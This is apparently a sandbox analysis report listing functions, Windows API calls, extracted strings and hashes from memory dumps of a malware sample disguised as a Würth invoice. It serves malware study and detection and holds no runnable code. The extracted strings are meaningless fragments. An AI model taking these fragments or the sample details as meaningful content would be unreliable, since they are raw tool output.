Instruction Fuzzy Hash: 1E51B2B5D10349DFDB14CF9AC980ADDFBB5BF88350F60952AE418AB214DB75A841CF90

Function 3A904290 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3A9043A2

Strings

)?C|, xrefs: 3A9042BE
)?C|, xrefs: 3A9042DE

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CreateWindow
String ID: )?C|$)?C|
API String ID: 716092398-3642632661
Opcode ID: d77f51fb1142474a6b57b14e7a0444d7263134e9360ae1de373c74afb6f24e5e
Instruction ID: 69a4801eff0e87e774e7172d9a586f600cc8ea0faa09ee6484726a83e514fbca
Opcode Fuzzy Hash: d77f51fb1142474a6b57b14e7a0444d7263134e9360ae1de373c74afb6f24e5e
Instruction Fuzzy Hash: 0741C5B5D10309DFDB14CF9AD984ADEFBB5BF88350F60812AE418A7214D775A841CF90

Function 3A901994 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 3A906A91

Strings

)?C|, xrefs: 3A9069E7

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CallProcWindow
String ID: )?C|
API String ID: 2714655100-1370406100
Opcode ID: 51996eb52207d8ac3c83b5729d01bc8f83501778a4769d23400d8912e40ecdf1
Instruction ID: 5a51042d4aa540006efc4477f7d62423a9ef32c49dc013a75481dac8c903dd7e
Opcode Fuzzy Hash: 51996eb52207d8ac3c83b5729d01bc8f83501778a4769d23400d8912e40ecdf1
Instruction Fuzzy Hash: 4D411BB9900305DFDB14DF99C444A9ABBF5FF88314F24C459D619AB321D778A941CFA0

Function 3A819938 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A8199C7

Strings

)?C|, xrefs: 3A81995F

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: DuplicateHandle
String ID: )?C|
API String ID: 3793708945-1370406100
Opcode ID: 7b1232793a4b86cd9ad4616c856f776f1d99878f051ec371b9fad55abdc9a2f5
Instruction ID: 1923fce8df8332702b0fafcb2d5b3cf085d137bfcea5b300922252b2a741963b
Opcode Fuzzy Hash: 7b1232793a4b86cd9ad4616c856f776f1d99878f051ec371b9fad55abdc9a2f5
Instruction Fuzzy Hash: B221E3B5900248DFDB10CFAAD984AEEFFF5EB48310F14841AE959A7310D378A951CFA5

Function 3A819940 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A8199C7

Strings

)?C|, xrefs: 3A81995F

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: DuplicateHandle
String ID: )?C|
API String ID: 3793708945-1370406100
Opcode ID: d49c084831c7386cbd93b6f9ab67e7eb4f37a62e2333ecd15d972c64aaf3a574
Instruction ID: 08be69fa4afa8b25a06b5a4708a493348a07c36860c22449df3fa29f2ed8b900
Opcode Fuzzy Hash: d49c084831c7386cbd93b6f9ab67e7eb4f37a62e2333ecd15d972c64aaf3a574
Instruction Fuzzy Hash: 1A21C4B5900248DFDB10CFAAD984ADEFBF8EB48310F14841AE958A3310D378A955CFA5

Function 3A908EB9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

)?C|, xrefs: 3A908F32

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: )?C|
API String ID: 0-1370406100
Opcode ID: 094e2aa98586224ca8fa4ad2566ca3a2f970c5fab465c4a6b3cbba291a0d10ef
Instruction ID: fee4e17629127c358a7fd726c2cf0a96e92fccf5f7615f382c54076ad4b116ae
Opcode Fuzzy Hash: 094e2aa98586224ca8fa4ad2566ca3a2f970c5fab465c4a6b3cbba291a0d10ef
Instruction Fuzzy Hash: 1F2177B5A003548FCB20CFA9D50579EFBF4AF48314F24849AD549E7221C3B8A485CFA5

Function 3A908F10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A908F6D

Strings

)?C|, xrefs: 3A908F32

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Initialize
String ID: )?C|
API String ID: 2538663250-1370406100
Opcode ID: 1cf46dc56bede5ecbc3e172bc21558f5fceb6c9f8b8c45796661537ba2997b42
Instruction ID: d45aefc494f3d0acc342bc093878cc66c123b7b1a2761fe7a987d49829def56f
Opcode Fuzzy Hash: 1cf46dc56bede5ecbc3e172bc21558f5fceb6c9f8b8c45796661537ba2997b42
Instruction Fuzzy Hash: 1F111DB69002498FCB10DFAAD544B8AFBF8EF48320F20845AE518B7210C778A581CFA5

Function 000D5F38 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

Hnq, xrefs: 000D6023
Hnq, xrefs: 000D6056

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: Hnq$Hnq
API String ID: 0-3075287205
Opcode ID: cfd7748f40fc3cf25ff0abd3deb6f307af084d3676f289361d493a69011a3e33
Instruction ID: 358e1ae888d8939a19d1b9690f2d32f8e6fe7bce6427fd31405a1dc2d9e3974b
Opcode Fuzzy Hash: cfd7748f40fc3cf25ff0abd3deb6f307af084d3676f289361d493a69011a3e33
Instruction Fuzzy Hash: 6FB1BF303047558FDB659F38C854A7E7BE6AF89300F18456AE806CB3A6CB36CD41D7A1

Function 3A68E950 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

LRjq, xrefs: 3A68EA99
LRjq, xrefs: 3A68E96C

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: LRjq$LRjq
API String ID: 0-348097489
Opcode ID: 2608afd7a736991abe1f837e8dd5a5e5812e78df51a4f7d92a4d1cb0e9dec2f4
Instruction ID: 26ea3fd96cb8e92922870bf1974f077ffc17d816295d93bea93e605b5a72daba
Opcode Fuzzy Hash: 2608afd7a736991abe1f837e8dd5a5e5812e78df51a4f7d92a4d1cb0e9dec2f4
Instruction Fuzzy Hash: 3581B0B4B002159FDB44DFB8CA54A5E77BABF89740B1181A9E106DB3B5DB30DD02CB92

Function 000D6498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,nq, xrefs: 000D6578
,nq, xrefs: 000D656E

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,nq$,nq
API String ID: 0-3932345633
Opcode ID: a15521ee78ca63b92479e4e07748bee8c5c699894d1f0da6795285fac07cd818
Instruction ID: ca10ea3728163092137b0419d41d2e08b7363c3c6d92ca6bbc5986358f9c314b
Opcode Fuzzy Hash: a15521ee78ca63b92479e4e07748bee8c5c699894d1f0da6795285fac07cd818
Instruction Fuzzy Hash: 02817E34A007058FCB64CF69D4949AEBBF2BF89314B25816AD405D73A9DB32EC45CB71

Function 000DAEBA Relevance: 2.6, Strings: 2, Instructions: 124COMMON

Download Yara Rule

Strings

(ojq, xrefs: 000DB079
(ojq, xrefs: 000DAECD

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: (ojq$(ojq
API String ID: 0-2467236674
Opcode ID: 0f9dd15f95cf61d6e74c736c0475de4f93905b7d46e9589dcaf9f6822b58d70a
Instruction ID: 944046cb0481659dea1cb233d62336871f2f12e01410c4075eaa3e0fb98195bb
Opcode Fuzzy Hash: 0f9dd15f95cf61d6e74c736c0475de4f93905b7d46e9589dcaf9f6822b58d70a
Instruction Fuzzy Hash: FB41C2317043448FCB059B799814AAE7FF6AFCA700F2545ABE506CB7A2DE319D05CBA1

Function 000D3CB1 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

Xnq, xrefs: 000D3CCD
Xnq, xrefs: 000D3CF6

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: Xnq$Xnq
API String ID: 0-10259684
Opcode ID: 8e06ce9b784aa9710bf165ff08680a4566414dddf4a4974dee9023daa13cfa88
Instruction ID: 877a14f2dc2df2d670d8728ab7f8d92c35605db37f29d6edca8985d49fa6edca
Opcode Fuzzy Hash: 8e06ce9b784aa9710bf165ff08680a4566414dddf4a4974dee9023daa13cfa88
Instruction Fuzzy Hash: 7C310635B043644BDF694A79A9A427FBAE7AF84300F28453FD802D7390DB748E458B72

Function 39DB4351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

8oq, xrefs: 39DB4429
TJoq, xrefs: 39DB4462

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 8oq$TJoq
API String ID: 0-426483906
Opcode ID: 4ec93406636a52f117a00d1642f9022e1549639001ed1dfbae9ddf2f40780029
Instruction ID: eeb40676eee6a2b6c3e6de9eac705aa441affde0d571ebe2362afef491ea2e1c
Opcode Fuzzy Hash: 4ec93406636a52f117a00d1642f9022e1549639001ed1dfbae9ddf2f40780029
Instruction Fuzzy Hash: A5313834B402098FCB04DBA8C591EDD7BB6FF88320F195550E505AF366DA70EC45CB91

Function 39DB4385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

8oq, xrefs: 39DB4429
TJoq, xrefs: 39DB4462

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 8oq$TJoq
API String ID: 0-426483906
Opcode ID: 1d0a92d01a5710a9c3e76c06563c7fc33ad98a35cf9c81272fdd86ca3f4eca3d
Instruction ID: c0551af1c864bc843542fba476c25aa816f7d3559195069957281f04016374d7
Opcode Fuzzy Hash: 1d0a92d01a5710a9c3e76c06563c7fc33ad98a35cf9c81272fdd86ca3f4eca3d
Instruction Fuzzy Hash: A8313734B402098FCB04DBA8C591E9E7BB6FF88320F195554E505AF376DA71EC85CB91

Function 000D9D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'jq, xrefs: 000D9D84
4'jq, xrefs: 000D9D6D

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: f43c09f54e3d59ca2ca274e89126df1aa81c984373cf3f80ff00ec34457820fa
Instruction ID: e9ff4cb4c493a53994419d4a04469364213b2bbc34704c536cc40018c318de47
Opcode Fuzzy Hash: f43c09f54e3d59ca2ca274e89126df1aa81c984373cf3f80ff00ec34457820fa
Instruction Fuzzy Hash: B6F044353002146FDB095BA99C509BBBADBEFC8360B148429F90AC7391DE65CD0187B0

Function 3A908F49 Relevance: 1.5, APIs: 1, Instructions: 29comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A908F6D

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f9b092c06b8f40134164becb7f037942010f4f99ffc6f31c70701d2880ca8ebd
Instruction ID: fb1f81da84051fcc622c60eeb34eac58beaded5f4fad1b2ef630eb8b1b6fa494
Opcode Fuzzy Hash: f9b092c06b8f40134164becb7f037942010f4f99ffc6f31c70701d2880ca8ebd
Instruction Fuzzy Hash: F8F0F4B69003088FDB10DFA9E44479EBBF5AB48324F24855AD219A7210C778A585CFA1

Function 39DB4790 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

Hnq, xrefs: 39DB4825

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: Hnq
API String ID: 0-2896580000
Opcode ID: 8bba03e3e226c44fce38978668665f870f1f52acf0d7720bcf4e7c9d039fffe9
Instruction ID: f93e8b91b8003eaa461780d89a32a0b7b98703ca94188d0ee2199aefa97959aa
Opcode Fuzzy Hash: 8bba03e3e226c44fce38978668665f870f1f52acf0d7720bcf4e7c9d039fffe9
Instruction Fuzzy Hash: 6F31B535B053449FCB44EBB899559AE7BF6EFC9301B1080BEE509DB652DE308D02C7A1

Function 3A69FB21 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

t, xrefs: 3A69FB21

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 5ed46973fea93a4ec6546ebea7e1d47acbc0aa31c46897cea5b4746534977b37
Instruction ID: 2da3312f3fc88473c0baad4ecdc788782b99fbbd5efdb6b248190dcdcd97f639
Opcode Fuzzy Hash: 5ed46973fea93a4ec6546ebea7e1d47acbc0aa31c46897cea5b4746534977b37
Instruction Fuzzy Hash: 78310274E012489FDB04CFAAC8406DDBBF2BF8A300F50D12AD419BB268DB349906CF54

Function 000D2790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 000D27BF

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 07503c6417d7517c29d6b8f3106f755371204c3b8bfdabdbc75f8edd74ef89a2
Instruction ID: 996013f2232d5f014c22b88a516e12b27beacde0c65cf921c3a986910685dceb
Opcode Fuzzy Hash: 07503c6417d7517c29d6b8f3106f755371204c3b8bfdabdbc75f8edd74ef89a2
Instruction Fuzzy Hash: B1314574D093498FCB02DFB8D9046EEBFF4EF4A300F0441AAD445A7261EB345A85CBA2

Function 39DB48DA Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

Hnq, xrefs: 39DB492E

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: Hnq
API String ID: 0-2896580000
Opcode ID: 2a42e1fc1f6f053ea8f8fed5bda6a41023ce8715f6baf84b7af94ba742f203a2
Instruction ID: bff4e60cff163cdad94851640f32623fcfc8a4e83b875fee420e1c707b825265
Opcode Fuzzy Hash: 2a42e1fc1f6f053ea8f8fed5bda6a41023ce8715f6baf84b7af94ba742f203a2
Instruction Fuzzy Hash: 1C21D234A042859FDB05DF69C8516AE7FB6FFC9310F24807EE5069B661CE318E46CB51

Function 000D9761 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

l&E7D+E7, xrefs: 000D9792, 000D97F7

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: l&E7D+E7
API String ID: 0-390259030
Opcode ID: 758daf46bd1df4c6c4791decdfdcdd441e39d92ed7adb175bacd45dcb4c10fec
Instruction ID: 9e3c2a70ad664f006b0c6a9b4719951e39083e1182c1273ced35ad0ae9248ae8
Opcode Fuzzy Hash: 758daf46bd1df4c6c4791decdfdcdd441e39d92ed7adb175bacd45dcb4c10fec
Instruction Fuzzy Hash: 11215970E002489FCB05CFA5D550AEEBFB6AF49314F148066E415B7390DB309A81DB20

Function 000D62F0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

37, xrefs: 000D62F0

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 37
API String ID: 0-2604584798
Opcode ID: ee77203e609613fb05485c0fa3abdc09673a05d0ede77b857966dc3048bec539
Instruction ID: 7a2a2223ebb1a26584d9de08d60b91b3c5c4c0ed81469c80d5d917ac16dacdc9
Opcode Fuzzy Hash: ee77203e609613fb05485c0fa3abdc09673a05d0ede77b857966dc3048bec539
Instruction Fuzzy Hash: 991106357087118FC7294B29D86453EB7E2BFC5751319407AE406CB764CF32DD028BA0

Function 39DB463C Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

*d9U, xrefs: 39DB463C

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: *d9U
API String ID: 0-3029392251
Opcode ID: 72a04d0fc55d95e93042e68a7d273474aedb1b0d396fb907280a0f43b194f9dc
Instruction ID: 52724164feb671c457a45f4a7644ee89584dd1a0f64504ca91752550b24be4be
Opcode Fuzzy Hash: 72a04d0fc55d95e93042e68a7d273474aedb1b0d396fb907280a0f43b194f9dc
Instruction Fuzzy Hash: 17116A7A3012008FDB04DF69E595E96B7A6EF887A1B20847AE50ACF771CA71EC04CB50

Function 000DE018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e958711516b8796b60a1fc900b57c9cc9eaa1923a4b673fb81eace6d8a33464
Instruction ID: c45ed20653c182d08eab1fd47b2fe9226128b64baf872cff1745cd63bb58e3c1
Opcode Fuzzy Hash: 0e958711516b8796b60a1fc900b57c9cc9eaa1923a4b673fb81eace6d8a33464
Instruction Fuzzy Hash: CD12A834421653DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546DACB62

Function 000D9A10 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70018ce684d3b3f69fb7c1d7abce998b3284873cd0496de1048944499f5a4178
Instruction ID: 092278f101093a64d56851e094e4f50a41dc1a1ee78cfdb631e5a8786e2bfbb2
Opcode Fuzzy Hash: 70018ce684d3b3f69fb7c1d7abce998b3284873cd0496de1048944499f5a4178
Instruction Fuzzy Hash: A89114315047459FC715CF2CD8809AABFB2EF81320B15C6ABD858977A2D331E916CBB1

Function 39DB4A68 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c0410eea2166b80e1c58e13aad4f771ccdb0a6b92dbb450554031b3809e235
Instruction ID: 46bde1c95124ad185a1503f36c015fbcb7fdcb20c0f54b7a8c5b695760e9772f
Opcode Fuzzy Hash: f1c0410eea2166b80e1c58e13aad4f771ccdb0a6b92dbb450554031b3809e235
Instruction Fuzzy Hash: 4251E375A003059FDB14CF68D852AAABBF9FFC9360B10852AE51ADBB50D7309801CB94

Function 000D80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da652397800b5edd7869eed75be3ee9e7f06d777f789b1171152a2dca28850a9
Instruction ID: bc32d2f447fb3e6e1f43eec8616dade565962d095383ddafb0aa3124cac04aec
Opcode Fuzzy Hash: da652397800b5edd7869eed75be3ee9e7f06d777f789b1171152a2dca28850a9
Instruction Fuzzy Hash: 8E711A347006058FCB65DF69C884ABE7BE5AF99751B1980AAE806DB371DF70DC41CBA0

Function 3A68D700 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27affc3b9028fc372bdcad96fef6be1d4e1197ded02b70789d8435acd9db82d4
Instruction ID: d4fac6aee2b2e21aa7b44460be6ea1e2d5a8dc01f29be6a01846e76e18ce1999
Opcode Fuzzy Hash: 27affc3b9028fc372bdcad96fef6be1d4e1197ded02b70789d8435acd9db82d4
Instruction Fuzzy Hash: 4F819FB4E412289FDB65DF65DD50BDDBBB6BB89300F1080EAD948A7261DB305E81CF41

Function 3A68D410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a55deeee2c984df6e1c61fa1d81a89a9ca27dcaf4fcdd1eb8c4fd853089a6c
Instruction ID: fac7bdcd30206b126227b42daabfbe4039653f84cfdba38bfc094ec6645a7006
Opcode Fuzzy Hash: e8a55deeee2c984df6e1c61fa1d81a89a9ca27dcaf4fcdd1eb8c4fd853089a6c
Instruction Fuzzy Hash: DE71BFB5E01218DFDB14DFA9C990ADDBBB6BF89300F208129D405BB365DB359942CF64

Function 3A6873E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a3047abc50c948bdee73d6e39f3728d53e777d390f8765cdab9f01299add54
Instruction ID: 356257a59c63a1cffc5a673a2beee45213b55dd9f56801b480129726463e2729
Opcode Fuzzy Hash: 71a3047abc50c948bdee73d6e39f3728d53e777d390f8765cdab9f01299add54
Instruction Fuzzy Hash: 5871CEB4E00218DFDB15DFA9C990ADEBBB6AF89300F248529D405BB369DB359942CF50

Function 3A6981E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75a813a8c46e4eacf7351c88480251f9d2972fc714ae4d5f37f543c449a80b8
Instruction ID: 30f8f67c8943697eafe6d041d8942207be5e02bb59c4636630aaf6c8e11f93ec
Opcode Fuzzy Hash: b75a813a8c46e4eacf7351c88480251f9d2972fc714ae4d5f37f543c449a80b8
Instruction Fuzzy Hash: 1A71BE74E012088FDB14DFE9C990ADEBBB6BF89300F209129D815BB3A5DB359942CF50

Function 3A6921B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e009c5a0af6f4b1a561fd926937b170bd0ff0b8301cb6e1866fe3d5a5badb51
Instruction ID: 59ce21dc891a209ffcfed989ff8e15cebef015974dc4c13076443f8ac899c43b
Opcode Fuzzy Hash: 8e009c5a0af6f4b1a561fd926937b170bd0ff0b8301cb6e1866fe3d5a5badb51
Instruction Fuzzy Hash: 2271AF74E012088FDB58DFA9C991ADEBBB6BF89300F248129D805BB365DB359946CF50

Function 000DF71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c493355386fd6aa0b75c63ac471736cc8452eb30141e16802fd77d28a1a3ad
Instruction ID: 55b2676785e406e05cf0723d6bb4238dd6814927dda09b0e55adcdb9d4d6a378
Opcode Fuzzy Hash: 57c493355386fd6aa0b75c63ac471736cc8452eb30141e16802fd77d28a1a3ad
Instruction Fuzzy Hash: EE612270D01319DFDB14CFE5D954AAEBBB6BF89300F20852AD805AB3A5DB355A4ACF40

Function 000DD548 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f157ba0e8730e6868429063c8c30a255420f7df2c8594d516aa1a0ca3e6c7d9e
Instruction ID: b5321694c98808ce93f90c69ccc9735e40cd3d91398d5820cadf52c702ccb8dc
Opcode Fuzzy Hash: f157ba0e8730e6868429063c8c30a255420f7df2c8594d516aa1a0ca3e6c7d9e
Instruction Fuzzy Hash: E7519474E012189FDB48DFA9D5949DDBBF2BF89300F24816AE809AB365DB31A905CF50

